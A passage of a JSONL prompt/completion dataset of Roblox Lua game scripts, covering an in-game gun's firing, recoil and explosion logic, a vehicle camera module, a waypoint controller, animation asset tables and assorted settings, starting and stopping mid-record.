then\n\t\t\t\tConnection:disconnect()\n\t\t\tend\n\t\t\tlocal newSpread = currentSpread - (S.spreadSettings.Decrease * dt)\n\t\t\tcurrentSpread = (newSpread < 0 and 0 or newSpread)\n\t\t\tif currentSpread == 0 then\n\t\t\t\tConnection:disconnect()\n\t\t\tend\n\t\tend)\n\t\tloweringSpread = false\n\tend\nend\n\nlocal function autoFire()\n\tif (not canFire) then return end\n\tcanFire = false\n\t\n\tif (not Knifing) then\n\t\tFiring = true\n\t\twhile MB1Down and (not Reloading) and (not isCrawling) and (not Knifing) do\n\t\t\tif Modes[((rawFireMode - 1) % numModes) + 1] ~= \"AUTO\" then break end\n\t\t\tif Humanoid.Health == 0 then break end\n\t\t\tif Ammo.Value > 0 then\n\t\t\t\tAmmo.Value = Ammo.Value - 1\n\t\t\t\tif Aimed and steadyKeyPressed and S.scopeSettings.unSteadyOnFire then\n\t\t\t\t\tsteadyKeyPressed = false\n\t\t\t\t\tcurrentSteadyTime = 0\n\t\t\t\tend\n\t\t\t\tnewMag = false\n\t\t\t\tfireGun()\n\t\t\tend\n\t\t\tif S.reloadSettings.magIsBullet then\n\t\t\t\tfor _, Mag in pairs(Gun:GetChildren()) do\n\t\t\t\t\tif Mag.Name:sub(1, 3) == \"Mag\" then\n\t\t\t\t\t\tMag.Transparency = 1\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tif Ammo.Value == 0 and S.reloadSettings.autoReload then\n\t\t\t\twait(0.2)\n\t\t\t\tReload()\n\t\t\tend\n\t\t\twait(60 / S.roundsPerMin)\n\t\tend\n\tend\n\t\n\tFiring = false\n\tcanFire = true\nend\n\nlocal function semiFire()\n\tif (not canFire) then return end\n\tcanFire = false\n\t\n\tif (not Knifing) and (not isCrawling) and Humanoid.Health ~= 0 then\n\t\tFiring = true\n\t\tif Ammo.Value > 0 then\n\t\t\tAmmo.Value = Ammo.Value - 1\n\t\t\tif Aimed and steadyKeyPressed and S.scopeSettings.unSteadyOnFire then\n\t\t\t\tsteadyKeyPressed = false\n\t\t\t\tcurrentSteadyTime = 0\n\t\t\tend\n\t\t\tnewMag = false\n\t\t\tfireGun()\n\t\tend\n\t\tif S.reloadSettings.magIsBullet then\n\t\t\tfor _, Mag in pairs(Gun:GetChildren()) do\n\t\t\t\tif Mag.Name:sub(1, 3) == \"Mag\" then\n\t\t\t\t\tMag.Transparency = 1\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tif Ammo.Value == 0 and S.reloadSettings.autoReload then\n\t\t\twait(0.2)\n\t\t\tReload()\n\t\tend\n\t\twait(60 / S.roundsPerMin)\n\tend\n\t\n\tFiring = false\n\tcanFire = true\nend\n\nlocal function burstFire()\n\tif (not canFire) then return end\n\tcanFire = false\n\t\n\tlocal burstTime = 60 / S.roundsPerMin\n\tif (not Knifing) and (not isCrawling) then\n\t\tFiring = true\n\t\tfor i = 1, S.burstSettings.Amount do\n\t\t\tif Ammo.Value > 0 then\n\t\t\t\tAmmo.Value = Ammo.Value - 1\n\t\t\t\tif Humanoid.Health ~= 0 then\n\t\t\t\t\tif Aimed and steadyKeyPressed and S.scopeSettings.unSteadyOnFire then\n\t\t\t\t\t\tsteadyKeyPressed = false\n\t\t\t\t\t\tcurrentSteadyTime = 0\n\t\t\t\t\tend\n\t\t\t\t\tnewMag = false\n\t\t\t\t\tfireGun()\n\t\t\t\tend\n\t\t\tend\n\t\t\tif Ammo.Value == 0 and S.reloadSettings.autoReload then\n\t\t\t\twait(0.2)\n\t\t\t\tReload()\n\t\t\t\tbreak\n\t\t\tend\n\t\t\twait(S.burstSettings.fireRateBurst and burstTime or S.burstSettings.Time / S.burstSettings.Amount)\n\t\tend\n\tend\n\tif S.reloadSettings.magIsBullet then\n\t\tfor _, Mag in pairs(Gun:GetChildren()) do\n\t\t\tif Mag.Name:sub(1, 3) == \"Mag\" then\n\t\t\t\tMag.Transparency = 1\n\t\t\tend\n\t\tend\n\tend\n\t\n\tFiring = false\n\t\n\twait(S.burstSettings.fireRateBurst and burstTime or S.burstSettings.Wait)\n\t\n\tcanFire = true\nend\n\nfunction fireGun()\n\tlocal fireSound = Handle:FindFirstChild(\"Fire\")\n\tGun.Bolt.Transparency = 1\nGun.BoltBack.Transparency = 0\n\tif fireSound then fireSound:Play() end\n\t----------------------------------------------------------------------------------\n\tfor _ = 1, (S.gunType.Shot and S.ShotAmount or 1) do\n\t\tlocal randSpread1 = RAD(RAND(0, 365))\n\t\tlocal randSpread2 = RAD(RAND(-(baseSpread + currentSpread), baseSpread + currentSpread, 0.01))\n\t\tlocal spreadDir = CFrame.fromAxisAngle(V3(0, 0, 1), randSpread1) * CFANG(randSpread2, 0, 0)\n\t\t\n\t\tlocal originCF = ((Aimed and S.guiScope) and Head.CFrame or Handle.CFrame) * spreadDir\n\t\tlocal bulletDirection = CF(originCF.p, originCF.p + originCF.lookVector).lookVector\n\t\t\n\t\tif S.bulletSettings.instantHit then\n\t\t\tlocal newRay = Ray.new(Main.CFrame.p, bulletDirection * S.bulletSettings.Range)\n\t\t\tlocal H, P, N = workspace:FindPartOnRayWithIgnoreList(newRay, Ignore)\n\t\t\tlocal finalP = P\n\t\t\tif H then\n\t\t\t\tif S.gunType.Explosive then\n\t\t\t\t\tif S.explosionSettings.soundId ~= \"\" then\n\t\t\t\t\t\tlocal soundPart = Instance.new(\"Part\")\n\t\t\t\t\t\tsoundPart.Transparency = 1\n\t\t\t\t\t\tsoundPart.Anchored = true\n\t\t\t\t\t\tsoundPart.CanCollide = false\n\t\t\t\t\t\tsoundPart.Size = V3(1, 1, 1)\n\t\t\t\t\t\tsoundPart.CFrame = CFrame.new(P)\n\t\t\t\t\t\tsoundPart.Parent = gunIgnore\n\t\t\t\t\t\t\n\t\t\t\t\t\tlocal Sound = Instance.new(\"Sound\")\n\t\t\t\t\t\tSound.Pitch = S.explosionSettings.Pitch\n\t\t\t\t\t\tSound.SoundId = S.explosionSettings.soundId\n\t\t\t\t\t\tSound.Volume = S.explosionSettings.Volume\n\t\t\t\t\t\tSound.Parent = soundPart\n\t\t\t\t\t\tSound:Play()\n\t\t\t\t\t\t\n\t\t\t\t\t\tDS:AddItem(soundPart, Sound.TimeLength)\n\t\t\t\t\tend\n\t\t\t\t\tcreateBulletImpact:FireServer(H, P, N, bulletDirection, false, gunIgnore, S)\n\t\t\t\t\tcreateShockwave:FireServer(P, S.explosionSettings.Radius, gunIgnore, S)\n\t\t\t\t\tlocal E = Instance.new(\"Explosion\")\n\t\t\t\t\tE.BlastPressure = S.explosionSettings.Pressure\n\t\t\t\t\tE.BlastRadius = S.explosionSettings.Radius\n\t\t\t\t\tE.DestroyJointRadiusPercent = (S.explosionSettings.rangeBasedDamage and 0 or 1)\n\t\t\t\t\tE.ExplosionType = S.explosionSettings.Type\n\t\t\t\t\tE.Position = P\n\t\t\t\t\tE.Hit:connect(function(Obj, Dist)\n\t\t\t\t\t\tif Obj.Name == \"Torso\" and (not Obj:IsDescendantOf(Char)) then\n\t\t\t\t\t\t\tif S.explosionSettings.rangeBasedDamage then\n\t\t\t\t\t\t\t\tlocal Dir = (Obj.Position - P).unit\n\t\t\t\t\t\t\t\tlocal expH, _ = workspace:FindPartOnRayWithIgnoreList(\n\t\t\t\t\t\t\t\t\tRay.new(P - Dir * 0.1, Dir * 999),\n\t\t\t\t\t\t\t\t\tIgnore\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\tlocal rayHitHuman = expH:IsDescendantOf(Obj.Parent)\n\t\t\t\t\t\t\t\tif (S.explosionSettings.rayCastExplosions and rayHitHuman) or (not S.explosionSettings.rayCastExplosions) then\n\t\t\t\t\t\t\t\t\tlocal hitHumanoid = findFirstClass(Obj.Parent, \"Humanoid\")\n\t\t\t\t\t\t\t\t\tif hitHumanoid and hitHumanoid.Health > 0 and isEnemy(hitHumanoid) then\n\t\t\t\t\t\t\t\t\t\tlocal distFactor = Dist / S.explosionSettings.Radius\n\t\t\t\t\t\t\t\t\t\tlocal distInvert = math.max(1 - distFactor,0)\n\t\t\t\t\t\t\t\t\t\tlocal newDamage = distInvert * getBaseDamage((P - Main.CFrame.p).magnitude)\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tlocal Tag = Instance.new(\"ObjectValue\")\n\t\t\t\t\t\t\t\t\t\tTag.Value = Player\n\t\t\t\t\t\t\t\t\t\tTag.Name = \"creator\"\n\t\t\t\t\t\t\t\t\t\tTag.Parent = hitHumanoid\n\t\t\t\t\t\t\t\t\t\tDS:AddItem(Tag, 0.3)\n\t\t\t\t\t\t\t\t\t\thitHumanoid:TakeDamage(newDamage)\n\t\t\t\t\t\t\t\t\t\tmarkHit()\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tlocal hitHumanoid = findFirstClass(Obj.Parent, \"Humanoid\")\n\t\t\t\t\t\t\t\tif hitHumanoid and hitHumanoid.Health > 0 and isEnemy(hitHumanoid) then\n\t\t\t\t\t\t\t\t\tlocal Tag = Instance.new(\"ObjectValue\")\n\t\t\t\t\t\t\t\t\tTag.Value = Player\n\t\t\t\t\t\t\t\t\tTag.Name = \"creator\"\n\t\t\t\t\t\t\t\t\tTag.Parent = hitHumanoid\n\t\t\t\t\t\t\t\t\tDS:AddItem(Tag, 0.3)\n\t\t\t\t\t\t\t\t\tmarkHit()\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend)\n\t\t\t\t\tE.Parent = game.Workspace\n\t\t\t\telse\n\t\t\t\t\t_, finalP = penetrateWall(H, P, bulletDirection, N, {Char, ignoreModel}, 0, (P - Main.CFrame.p).magnitude, nil)\n\t\t\t\tend\n\t\t\tend\n\t\t\tif S.bulletTrail and S.trailSettings.Transparency ~= 1 then\n\t\t\t\tcreateTrail:FireServer(Main.CFrame.p, finalP, gunIgnore, S)\n\t\t\tend\n\t\telse\n\t\tend\n\tend\n\tfunction MarkHit()\n\tspawn(function()\n\t\tif Gui_Clone:IsDescendantOf(game) then\n\t\t\tGui_Clone.HitMarker.Visible = true\n\t\t\tlocal StartMark = tick()\n\t\t\tLastMark = StartMark\n\t\t\twait(0.5)\n\t\t\tif LastMark <= StartMark then\n\t\t\t\tGui_Clone.HitMarker.Visible = false\n\t\t\tend\n\t\tend\n\tend)\nend\n\t\n\t----------------------------------------------------------------------------------\n\t\n\tcurrentSpread = currentSpread + S.spreadSettings.Increase\n\t\n\tfor _, Plugin in pairs(Plugins.Firing) do\n\t\tspawn(function()\n\t\t\tPlugin()\n\t\tend)\n\tend\n\t\n\tlocal backRecoil = RAND(S.recoilSettings.Recoil.Back.Min, S.recoilSettings.Recoil.Back.Max, 0.01) --Get the kickback recoil\n\tlocal upRecoil = RAND(S.recoilSettings.Recoil.Up.Min, S.recoilSettings.Recoil.Up.Max, 0.01) --Get the up recoil\n\tlocal sideRecoilAlpha = 0\n\tif lastSideRecoil[1] < 0 and lastSideRecoil[2] < 0 then --This conditional basically makes sure the gun tilt isn't in the same direction for more than 2 shots\n\t\tsideRecoilAlpha = RAND(0, 1, 0.1)\n\telseif lastSideRecoil[1] > 0 and lastSideRecoil[2] > 0 then\n\t\tsideRecoilAlpha = RAND(-1, 0, 0.1)\n\telse\n\t\tsideRecoilAlpha = RAND(-1, 1, 0.1)\n\tend\n\tlocal sideRecoil = numLerp(S.recoilSettings.Recoil.Side.Left, S.recoilSettings.Recoil.Side.Right, sideRecoilAlpha / 2 + 0.5) --Get the side recoil\n\tlocal tiltRecoil = numLerp(S.recoilSettings.Recoil.Tilt.Left, S.recoilSettings.Recoil.Tilt.Right, sideRecoilAlpha / 2 + 0.5) --Get the tilt recoil\n\tlocal recoilPos = V3(\n\t\t0,---sideRecoil,\n\t\t0,\n\t\t-backRecoil\n\t) * (Aimed and S.recoilSettings.aimedMultiplier or 1)\n\tlocal recoilRot = V3(\n\t\t(Aimed and 0 or (-RAD(upRecoil * 10) * (firstShot and S.recoilSettings.firstShotMultiplier or 1))),\n\t\tRAD(sideRecoil * 10),\n\t\tRAD(tiltRecoil * 10)\n\t) * (Aimed and S.recoilSettings.aimedMultiplier or 1)\n\tlocal camRecoilRot = V3(\n\t\t-RAD(sideRecoil * 10),\n\t\tRAD(upRecoil * 10) * (firstShot and S.recoilSettings.firstShotMultiplier or 1) * S.recoilSettings.camMultiplier,\n\t\t0\n\t) * (Aimed and S.recoilSettings.aimedMultiplier or 1) * stanceSway\n\ttweenRecoil(recoilPos, recoilRot, Sine, 0.2)\n\ttweenCam(\"Recoil\", camRecoilRot, Sine, 0.15 * (firstShot and S.recoilSettings.firstShotMultiplier or 1))\n\t\n\tfor _, v in pairs(Main:GetChildren()) do\n\t\tif v.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\tGun.Bolt.Transparency = 1\nGun.BoltBack.Transparency = 0\n\t\t\tv.Enabled = true\n\t\tend\n\tend\n\t\tlocal shell = Instance.new(\"Part\")\n\tshell.CFrame = Gun.Chamber.CFrame * CFrame.fromEulerAnglesXYZ(-2.5,1,1)\n\tshell.Size = Vector3.new(0.2,0.5,0.2)\n\tshell.CanCollide = false\t\n\tshell.Name = \"Shell\"\n\tshell.Velocity = Gun.Chamber.CFrame.lookVector * 10 + Vector3.new(math.random(-10,10),20,math.random(-10,10))\n\tshell.RotVelocity = Vector3.new(0,200,0)\n\tshell.Parent = game.Workspace\n\tgame:GetService(\"Debris\"):addItem(shell,2)\n\tlocal shellmesh = Instance.new(\"SpecialMesh\")\n\tshellmesh.Scale = Vector3.new(2,2,2)\n\tshellmesh.MeshId = \"http://www.roblox.com/asset/?id=94295100\"\n\tshellmesh.TextureId = \"http://www.roblox.com/asset/?id=94287792\"\n\tshellmesh.MeshType = \"FileMesh\"\n\tshellmesh.Parent = shell\n\tdelay(1 / 20, function()\n\t\ttweenRecoil(V3(), V3(), Sine, 0.2)\n\t\ttweenCam(\"Recoil\", V3(), Sine, 0.2)\n\t\tfor _, v in pairs(Main:GetChildren()) do\n\t\t\tif v.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\tGun.Bolt.Transparency = 0\nGun.BoltBack.Transparency = 1\n\t\t\t\tv.Enabled = false\n\t\t\tend\n\t\tend\n\tend)\n\t\n\tupdateClipAmmo()\n\tfirstShot = false\n\tshotCount = shotCount + 1\n\tlastSideRecoil[(shotCount % 2) + 1] = sideRecoilAlpha\nend\n\nfunction markHit()\n\tspawn(function()\n\t\tif mainGUI:IsDescendantOf(game) then\n\t\t\thitMarker.Visible = true\n\t\t\tlocal startMark = tick()\n\t\t\thitMarker.lastMark.Value = startMark\n\t\t\t\n\t\t\twait(0.5)\n\t\t\t\n\t\t\tif hitMarker.lastMark.Value <= startMark then\n\t\t\t\thitMarker.Visible = false\n\t\t\tend\n\t\tend\n\tend)\nend\n"} +{"prompt": "-----Smoke------", "completion": "\nfor i = 1,5 do\nsmoke = Instance.new(\"Part\")\nsmoke.Parent = game.Workspace\nsmoke.CFrame = script.Parent.CFrame *CFrame.new(math.random(-30,30),math.random(1,20),math.random(-30,30))\nsmoke.Anchored = true\nsmoke.CanCollide = true\nsmoke.BrickColor = BrickColor.new(\"Fossil\")\n\nmesh = Instance.new(\"SpecialMesh\")\nmesh.MeshId = \"http://www.roblox.com/asset/?id=1095708\"\nmesh.Scale = Vector3.new(1,1,1)\nmesh.Parent = smoke\nfade = script.FadeScript:Clone()\nfade.Parent = smoke\nfade.Disabled = false\n\nfade2 = script.FadeScript2:Clone()\nfade2.Parent = smoke\nfade2.Disabled = true\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nend\n"} +{"prompt": "-- track physics solver time delta separately from the render loop to correctly synchronize time delta", "completion": "\nlocal worldDt = 1/60\nRunService.Stepped:Connect(function(_, _worldDt)\n\tworldDt = _worldDt\nend)\n\nlocal VehicleCamera = setmetatable({}, BaseCamera)\nVehicleCamera.__index = VehicleCamera\n\nfunction VehicleCamera.new()\n\tlocal self = setmetatable(BaseCamera.new(), VehicleCamera)\n\tself:Reset()\n\treturn self\nend\n\nfunction VehicleCamera:Reset()\n\tself.vehicleCameraCore = VehicleCameraCore.new(self:GetSubjectCFrame())\n\tself.pitchSpring = Spring.new(0, -math.rad(VehicleCameraConfig.pitchBaseAngle))\n\tself.yawSpring = Spring.new(0, YAW_DEFAULT)\n\tself.lastPanTick = 0\n\t\n\tlocal camera = workspace.CurrentCamera\n\tlocal cameraSubject = camera and camera.CameraSubject\n\t\n\tassert(camera)\n\tassert(cameraSubject)\n\tassert(cameraSubject:IsA(\"VehicleSeat\"))\n\t\n\tlocal assemblyParts = cameraSubject:GetConnectedParts(true) -- passing true to recursively get all assembly parts\n\tlocal assemblyPosition, assemblyRadius = CameraUtils.getLooseBoundingSphere(assemblyParts)\n\t\n\tassemblyRadius = math.max(assemblyRadius, EPSILON)\n\t\n\tself.assemblyRadius = assemblyRadius\n\tself.assemblyOffset = cameraSubject.CFrame:Inverse()*assemblyPosition -- seat-space offset of the assembly bounding sphere center\n\t\n\tself:_StepInitialZoom()\nend\n\nfunction VehicleCamera:_StepInitialZoom()\n\tself:SetCameraToSubjectDistance(math.max(\n\t\tZoomController.GetZoomRadius(),\n\t\tself.assemblyRadius*VehicleCameraConfig.initialZoomRadiusMul\n\t))\nend\n\nfunction VehicleCamera:_StepRotation(dt, vdotz): CFrame\n\tlocal yawSpring = self.yawSpring\n\tlocal pitchSpring = self.pitchSpring\n\t\n\tlocal rotationInput = CameraInput.getRotation(true)\n\tlocal dYaw = -rotationInput.X\n\tlocal dPitch = -rotationInput.Y\n\t\n\tyawSpring.pos = sanitizeAngle(yawSpring.pos + dYaw)\n\tpitchSpring.pos = sanitizeAngle(math.clamp(pitchSpring.pos + dPitch, -PITCH_LIMIT, PITCH_LIMIT))\n\n\tif CameraInput.getRotationActivated() then\n\t\tself.lastPanTick = os.clock()\n\tend\n\n\tlocal pitchBaseAngle = -math.rad(VehicleCameraConfig.pitchBaseAngle)\n\tlocal pitchDeadzoneAngle = math.rad(VehicleCameraConfig.pitchDeadzoneAngle)\n\n\tif os.clock() - self.lastPanTick > VehicleCameraConfig.autocorrectDelay then\n\t\t-- adjust autocorrect response based on forward velocity\n\t\tlocal autocorrectResponse = mapClamp(\n\t\t\tvdotz,\n\t\t\tVehicleCameraConfig.autocorrectMinCarSpeed,\n\t\t\tVehicleCameraConfig.autocorrectMaxCarSpeed,\n\t\t\t0,\n\t\t\tVehicleCameraConfig.autocorrectResponse\n\t\t)\n\n\t\tyawSpring.freq = autocorrectResponse\n\t\tpitchSpring.freq = autocorrectResponse\n\t\t\n\t\t-- zero out response under a threshold\n\t\tif yawSpring.freq < EPSILON then\n\t\t\tyawSpring.vel = 0\n\t\tend\n\n\t\tif pitchSpring.freq < EPSILON then\n\t\t\tpitchSpring.vel = 0\n\t\tend\n\n\t\tif math.abs(sanitizeAngle(pitchBaseAngle - pitchSpring.pos)) <= pitchDeadzoneAngle then\n\t\t\t-- do nothing within the deadzone\n\t\t\tpitchSpring.goal = pitchSpring.pos\n\t\telse\n\t\t\tpitchSpring.goal = pitchBaseAngle\n\t\tend\n\telse\n\t\tyawSpring.freq = 0\n\t\tyawSpring.vel = 0\n\n\t\tpitchSpring.freq = 0\n\t\tpitchSpring.vel = 0\n\n\t\tpitchSpring.goal = pitchBaseAngle\n\tend\n\n\treturn CFrame.fromEulerAnglesYXZ(\n\t\tpitchSpring:step(dt),\n\t\tyawSpring:step(dt),\n\t\t0\n\t)\nend\n\nfunction VehicleCamera:_GetThirdPersonLocalOffset()\n\treturn self.assemblyOffset + Vector3.new(0, self.assemblyRadius*VehicleCameraConfig.verticalCenterOffset, 0)\nend\n\nfunction VehicleCamera:_GetFirstPersonLocalOffset(subjectCFrame: CFrame)\n\tlocal character = localPlayer.Character\n\t\n\tif character and character.Parent then\n\t\tlocal head = character:FindFirstChild(\"Head\")\n\t\t\n\t\tif head and head:IsA(\"BasePart\") then\n\t\t\treturn subjectCFrame:Inverse()*head.Position\n\t\tend\n\tend\n\t\n\treturn self:_GetThirdPersonLocalOffset()\nend\n\nfunction VehicleCamera:Update()\n\tlocal camera = workspace.CurrentCamera\n\tlocal cameraSubject = camera and camera.CameraSubject\n\tlocal vehicleCameraCore = self.vehicleCameraCore\n\t\n\tassert(camera)\n\tassert(cameraSubject)\n\tassert(cameraSubject:IsA(\"VehicleSeat\"))\n\t\n\t-- consume the physics solver time delta to account for mismatched physics/render cycles\n\tlocal dt = worldDt\n\tworldDt = 0\n\t\n\t-- get subject info\n\tlocal subjectCFrame: CFrame = self:GetSubjectCFrame()\n\tlocal subjectVel: Vector3 = self:GetSubjectVelocity()\n\tlocal subjectRotVel = self:GetSubjectRotVelocity()\n\t\n\t-- measure the local-to-world-space forward velocity of the vehicle\n\tlocal vDotZ = math.abs(subjectVel:Dot(subjectCFrame.ZVector))\n\tlocal yawVel = yawVelocity(subjectRotVel, subjectCFrame)\n\tlocal pitchVel = pitchVelocity(subjectRotVel, subjectCFrame)\n\t\n\t-- step camera components forward\n\tlocal zoom = self:StepZoom()\n\tlocal objectRotation = self:_StepRotation(dt, vDotZ)\n\t\n\t-- mix third and first person offsets in local space\n\tlocal firstPerson = mapClamp(zoom, ZOOM_MINIMUM, self.assemblyRadius, 1, 0)\n\t\n\tlocal tpOffset = self:_GetThirdPersonLocalOffset()\n\tlocal fpOffset = self:_GetFirstPersonLocalOffset(subjectCFrame)\n\tlocal localOffset = tpOffset:Lerp(fpOffset, firstPerson)\n\t\n\t-- step core forward\n\tvehicleCameraCore:setTransform(subjectCFrame)\n\tlocal processedRotation = vehicleCameraCore:step(dt, pitchVel, yawVel, firstPerson)\n\t\n\t-- calculate final focus & cframe\n\tlocal focus = CFrame.new(subjectCFrame*localOffset)*processedRotation*objectRotation\n\tlocal cf = focus*CFrame.new(0, 0, zoom)\n\n\treturn cf, focus\nend\n\nfunction VehicleCamera:ApplyVRTransform()\n\t-- no-op override; VR transform is not applied in vehicles\nend\n\nfunction VehicleCamera:EnterFirstPerson()\n\tself.inFirstPerson = true\n\tself:UpdateMouseBehavior()\nend\n\nfunction VehicleCamera:LeaveFirstPerson()\n\tself.inFirstPerson = false\n\tself:UpdateMouseBehavior()\nend\n\nreturn VehicleCamera\n"} +{"prompt": "--08C!", "completion": "\n\nwait()\nTool=script.Parent\nCP,Torso,g=nil,nil,nil\nnecko=CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\ngetPos=function(Pos,TorsoPos)\n\treturn Vector3.new(Pos.x,TorsoPos.y,Pos.z)\nend\nTurn=function(mouse,Torso,Gyro)\n\tg.cframe=CFrame.new(Torso.Position,getPos(mouse.Hit.p,Torso.Position))\n\toffset=(Torso.Position.y-mouse.Hit.p.y)/100\n\tmag=(Torso.Position-mouse.Hit.p).magnitude/80\n\toffset=offset/mag\n\tneck=Torso.Neck\n\tneck.C0=necko*CFrame.fromEulerAnglesXYZ(offset,0,0)\n\tarm=Torso:FindFirstChild(\"Right Shoulder\")\n\tif arm~=nil then\n\t\tarm.C0=CFrame.new(1, 0.5, 0, 0, 0, 1, -6.48200512e-007, 1.00000274, 0, -1.00000274, -6.48200512e-007, 0)*CFrame.fromEulerAnglesXYZ(0,0,-offset)\n\tend\nend\n\nEqui=function(mouse)\n\twait(.2)\t\n\tCP=Tool.Parent\n\tTorso=CP.Torso\n\tg=Instance.new(\"BodyGyro\")\n\tg.P=18000\n\tg.D=600\n\tg.maxTorque=Vector3.new(1/0,1/0,1/0)\n\tg.cframe=Torso.CFrame\n\tg.Parent=Torso\n\twhile true do\n\t\tif Tool.Parent.className~=\"Model\" then\n\t\t\tbreak\n\t\tend\n\t\tTurn(mouse,Torso,g)\n\t\twait()\n\tend\n\tTorso.Neck.C0=necko\n\tg:Remove()\nend\nTool.Equipped:connect(Equi)"} +{"prompt": "-- Constructor/Destructor", "completion": "\nfunction WaypointController.new(player)\n\tlocal self = setmetatable({}, WaypointController)\n\t\n\t-- Player variables\n\tself.player = player\n\tself.character = player.Character or player.CharacterAdded:wait()\n\tself.humanoid = self.character:WaitForChild(\"Humanoid\")\n\tself.humanoidRoot = self.character.HumanoidRootPart\n\tself.isPlayerMoving = false\n\t\n\t-- Starting at 2 b/c it's the first waypoint after Start (1)\n\tself.currentWaypointIndex = 2\n\tself.currentWaypoint = waypoints[self.currentWaypointIndex]\n\t\n\tself._CooldownFinishedEvent = Instance.new(\"BindableEvent\")\n\tself.CooldownFinished = self._CooldownFinishedEvent.Event\n\t\n\tself.waypointPath = WaypointPath.new(self.player, self.humanoidRoot.Position,\n\t\tself.currentWaypoint.Position)\n\tself.WaypointPathReached = self.waypointPath.WaypointReached:Connect(\n\t\tfunction()\n\t\t\tself._CooldownFinishedEvent:Fire()\n\t\t\tself:UpdateWaypoint()\n\t\tend)\n\tself.NodeReached = self.waypointPath.NodeReached:Connect(\n\t\tfunction()\n\t\t\tself._CooldownFinishedEvent:Fire()\n\t\tend)\n\tself.FinishedMoving = self.waypointPath.FinishedMoving:Connect(\n\t\tfunction()\n\t\t\tself:StopTracking()\n\t\tend)\n\t\n\tself.movingThread = nil\n\t\n\treturn self\nend\n\nfunction WaypointController:Destroy()\n\tif self.WaypointPathReached then\n\t\tself.WaypointPathReached:Disconnect()\n\tend\n\tif self.NodeReached then\n\t\tself.NodeReached:Disconnect()\n\tend\n\tif self.FinishedMoving then\n\t\tself.FinishedMoving:Disconnect()\n\tend\nend\n\n"} +{"prompt": "--// Ammo Settings\t\t\t", "completion": "\n\tAmmo = 15;\n\tStoredAmmo = 15;\n\tMagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge;\n\tExplosiveAmmo = 0;\n\t"} +{"prompt": "--\t\t\t\t{ id = \"slash.xml\", weight = 10 } ", "completion": "\n\t\t\t},\n\ttoollunge = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=129967478\", weight = 10 } \n\t\t\t},\n\twave = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=128777973\", weight = 10 } \n\t\t\t},\n\tpoint = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=128853357\", weight = 10 } \n\t\t\t},\n\tdance = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=130018893\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=132546839\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=132546884\", weight = 10 } \n\t\t\t},\n\tdance2 = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=160934142\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=160934298\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=160934376\", weight = 10 } \n\t\t\t},\n\tdance3 = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=160934458\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=160934530\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=160934593\", weight = 10 } \n\t\t\t},\n\tlaugh = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=129423131\", weight = 10 } \n\t\t\t},\n\tcheer = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=129423030\", weight = 10 } \n\t\t\t},\n}\n"} +{"prompt": "--[[ Constants ]]", "completion": "--\nlocal RECALCULATE_PATH_THRESHOLD = 4\nlocal NO_PATH_THRESHOLD = 12\nlocal MAX_PATHING_DISTANCE = 200\nlocal POINT_REACHED_THRESHOLD = 1\nlocal OFFTRACK_TIME_THRESHOLD = 2\nlocal THUMBSTICK_DEADZONE = 0.22\n\nlocal ZERO_VECTOR3 = Vector3.new(0,0,0)\nlocal XZ_VECTOR3 = Vector3.new(1,0,1)\n"} +{"prompt": "-- Do not edit these values, they are not the developer-set limits, they are limits\n-- to the values the camera system equations can correctly handle", "completion": "\nlocal MIN_ALLOWED_ELEVATION_DEG = -80\nlocal MAX_ALLOWED_ELEVATION_DEG = 80\n\nlocal externalProperties = {}\nexternalProperties[\"InitialDistance\"] = 25\nexternalProperties[\"MinDistance\"] = 10\nexternalProperties[\"MaxDistance\"] = 100\nexternalProperties[\"InitialElevation\"] = 35\nexternalProperties[\"MinElevation\"] = 35\nexternalProperties[\"MaxElevation\"] = 35\nexternalProperties[\"ReferenceAzimuth\"] = -45\t-- Angle around the Y axis where the camera starts. -45 offsets the camera in the -X and +Z directions equally\nexternalProperties[\"CWAzimuthTravel\"] = 90\t-- How many degrees the camera is allowed to rotate from the reference position, CW as seen from above\nexternalProperties[\"CCWAzimuthTravel\"] = 90\t-- How many degrees the camera is allowed to rotate from the reference position, CCW as seen from above\nexternalProperties[\"UseAzimuthLimits\"] = false -- Full rotation around Y axis available by default\n\nlocal Util = require(script.Parent:WaitForChild(\"CameraUtils\"))\nlocal CameraInput = require(script.Parent:WaitForChild(\"CameraInput\"))\n"} +{"prompt": "--Rescripted by Luckymaxer", "completion": "\n\nTool = script.Parent\nHandle = Tool:WaitForChild(\"Handle\")\n\nPlayers = game:GetService(\"Players\")\nDebris = game:GetService(\"Debris\")\n\nSpeed = 100\nDuration = 1\n\nNozzleOffset = Vector3.new(0, 0.4, -1.1)\n\nSounds = {\n\tFire = Handle:WaitForChild(\"Fire\"),\n\tReload = Handle:WaitForChild(\"Reload\"),\n\tHitFade = Handle:WaitForChild(\"HitFade\")\n}\n\nPointLight = Handle:WaitForChild(\"PointLight\")\n\nServerControl = (Tool:FindFirstChild(\"ServerControl\") or 